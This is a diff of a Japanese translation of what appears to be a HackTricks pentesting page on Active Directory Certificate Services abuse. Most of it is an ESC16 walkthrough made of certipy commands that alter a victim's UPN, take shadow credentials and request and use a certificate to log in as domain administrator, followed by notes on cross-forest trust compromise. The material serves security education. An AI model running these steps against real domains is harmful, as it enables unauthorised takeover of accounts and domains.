証明書を使用して、ターゲットの特権ユーザーの代理として証明書を要求します。** これは、ステップ 1 の証明書をエージェント証明書として使用するESC3のようなステップです。 +**ステップ2: 対象の特権ユーザーを代理して証明書を要求するために "agent" 証明書を使用します。** これは ESC3-like な手順で、ステップ1の証明書を agent 証明書として使用します。 ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -799,27 +821,27 @@ certipy req \ ```bash certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' ``` -## CAでのセキュリティ拡張が無効 (グローバル) - ESC16 +## Security Extension Disabled on CA (Globally)-ESC16 ### 説明 -**ESC16 (szOID_NTDS_CA_SECURITY_EXT拡張の欠如による特権昇格)** は、AD CSの設定がすべての証明書に**szOID_NTDS_CA_SECURITY_EXT**拡張の含有を強制しない場合に、攻撃者が以下の方法でこれを悪用できるシナリオを指します： +**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** は、AD CS の設定がすべての証明書に **szOID_NTDS_CA_SECURITY_EXT** 拡張の付加を強制していない場合に発生するシナリオを指し、攻撃者は次のように悪用できます： -1. **SIDバインディングなし**で証明書を要求すること。 +1. SID binding を行わずに証明書を要求する。 -2. この証明書を使用して、**任意のアカウントとして認証すること**、例えば高特権アカウント（例：ドメイン管理者）を偽装すること。 +2. この証明書を任意のアカウントとしての認証に使用する（例えば高権限アカウントを偽装する、例: Domain Administrator（ドメイン管理者））。 -詳細な原則については、この記事を参照してください：https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 +詳細な原理については次の記事も参照してください: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 -### 悪用 +### Abuse -以下は[このリンク](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally)を参照しています。詳細な使用方法を確認するにはクリックしてください。 +以下は[this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally) を参照しています。詳細な使用方法はリンクをクリックしてご確認ください。 -Active Directory Certificate Services (AD CS) 環境が**ESC16**に対して脆弱かどうかを特定するために。 +Active Directory Certificate Services (AD CS) 環境が **ESC16** に対して脆弱かどうかを識別するために ```bash certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable ``` -**ステップ 1: 被害者アカウントの初期 UPN を読み取る (オプション - 復元用)。** +**ステップ 1: 被害者アカウントの初期 UPN を読み取る（オプション - 復元用）。** ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -833,53 +855,54 @@ certipy account \ -dc-ip '10.0.0.100' -upn 'administrator' \ -user 'victim' update ``` -**ステップ 3: (必要に応じて) "被害者" アカウントの資格情報を取得する (例: Shadow Credentials を介して)。** +**ステップ 3: (必要な場合) 「victim」アカウントの資格情報を取得する (例: Shadow Credentials を利用)。** ```shell certipy shadow \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -account 'victim' \ auto ``` -**ステップ 4: ESC16脆弱性のあるCAから、_任意の適切なクライアント認証テンプレート_（例: "User"）として「被害者」ユーザーの証明書をリクエストします。** CAはESC16に脆弱であるため、テンプレートのこの拡張機能に対する特定の設定に関係なく、発行された証明書からSIDセキュリティ拡張を自動的に省略します。Kerberos資格情報キャッシュ環境変数を設定します（シェルコマンド）： +**ステップ4: ESC16 に脆弱な CA 上で、_任意の適切なクライアント認証テンプレート_（例: "User"）から "victim" ユーザーとして証明書を要求します。** CA が ESC16 に脆弱であるため、テンプレートのこの拡張に関する具体的な設定にかかわらず、発行される証明書から SID セキュリティ拡張を自動的に省略します。Kerberos credential cache 環境変数を設定します（シェルコマンド）： ```bash export KRB5CCNAME=victim.ccache ``` -その後、証明書をリクエストします： +次に証明書を要求する: ```bash certipy req \ -k -dc-ip '10.0.0.100' \ -target 'CA.CORP.LOCAL' -ca 'CORP-CA' \ -template 'User' ``` -**ステップ 5: "被害者" アカウントの UPN を元に戻す。** +**ステップ5: "victim" アカウントの UPN を元に戻す。** ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -upn 'victim@corp.local' \ -user 'victim' update ``` -**ステップ 6: 対象の管理者として認証します。** +**ステップ6: ターゲットの管理者として認証する。** ```bash certipy auth \ -dc-ip '10.0.0.100' -pfx 'administrator.pfx' \ -username 'administrator' -domain 'corp.local' ``` -## パッシブボイスで説明された証明書を使ったフォレストの侵害 +## 証明書によるフォレストの乗っ取り（受動態で説明） -### 妥協されたCAによるフォレスト信頼の破壊 +### 侵害された CA によるフォレストトラストの破壊 -**クロスフォレスト登録**の設定は比較的簡単です。リソースフォレストの**ルートCA証明書**は管理者によって**アカウントフォレストに公開され**、リソースフォレストの**エンタープライズCA**証明書は**各アカウントフォレストの`NTAuthCertificates`およびAIAコンテナに追加されます**。この配置は、リソースフォレストの**CAがPKIを管理するすべての他のフォレストに対して完全な制御を持つ**ことを明確にします。このCAが**攻撃者によって妥協された場合**、リソースフォレストとアカウントフォレストのすべてのユーザーの証明書は**彼らによって偽造される可能性があり**、これによりフォレストのセキュリティ境界が破られることになります。 +**cross-forest enrollment** の設定は比較的簡単に行われる。管理者によって resource forest からの **root CA certificate** が **account forests に公開され**、resource forest の **enterprise CA** 証明書が各 account forest の `NTAuthCertificates` と AIA コンテナに **追加される**。つまり、この構成により resource forest の **CA** は PKI を管理する他のすべてのフォレストに対して完全な制御を与えられることになる。もしこの CA が攻撃者により侵害された場合、resource と account の各フォレストの全ユーザーの証明書が攻撃者により偽造されうるため、フォレストのセキュリティ境界は破られる。 -### 外部プリンシパルに付与された登録権限 +### 外部プリンシパルに付与される登録権限 -マルチフォレスト環境では、**認証されたユーザーまたは外部プリンシパル**（エンタープライズCAが属するフォレスト外のユーザー/グループ）に**登録および編集権限**を許可する**証明書テンプレートを公開するエンタープライズCA**に関して注意が必要です。\ -信頼を越えた認証時に、**認証されたユーザーSID**がADによってユーザーのトークンに追加されます。したがって、ドメインが**認証されたユーザーの登録権限を許可するテンプレートを持つエンタープライズCA**を持っている場合、異なるフォレストのユーザーが**テンプレートに登録される可能性があります**。同様に、**テンプレートによって外部プリンシパルに明示的に登録権限が付与されると**、**クロスフォレストアクセス制御関係が作成され**、1つのフォレストのプリンシパルが**別のフォレストのテンプレートに登録できるようになります**。 +マルチフォレスト環境では、Enterprise CAs が **certificate templates** を公開し、それが **Authenticated Users や foreign principals**（Enterprise CA が属するフォレスト外のユーザー/グループ）に対して **enrollment and edit rights** を許可している場合は注意が必要である。\ +トラスト越しに認証されると、AD によりユーザーのトークンに **Authenticated Users SID** が追加される。したがって、あるドメインが Enterprise CA を持ち、かつテンプレートが **Authenticated Users の enrollment 権限を許可している**場合、別フォレストのユーザーによってそのテンプレートが登録される可能性がある。同様に、テンプレートによって明示的に foreign principal に enrollment 権限が付与されている場合、**cross-forest access-control relationship** が作成され、あるフォレストのプリンシパルが別のフォレストのテンプレートに **enroll** できるようになる。 -どちらのシナリオも、1つのフォレストから別のフォレストへの**攻撃面の増加**につながります。証明書テンプレートの設定は、攻撃者によって悪用され、外部ドメインでの追加権限を取得することができます。 +いずれのシナリオもフォレスト間で **attack surface の拡大** を招く。攻撃者は certificate template の設定を悪用して、外部ドメインで追加の特権を取得することが可能になる。 - -## 参考文献 +## References - [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/) +- [GhostPack/Certify](https://github.com/GhostPack/Certify) +- [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) {{#include ../../../banners/hacktricks-training.md}}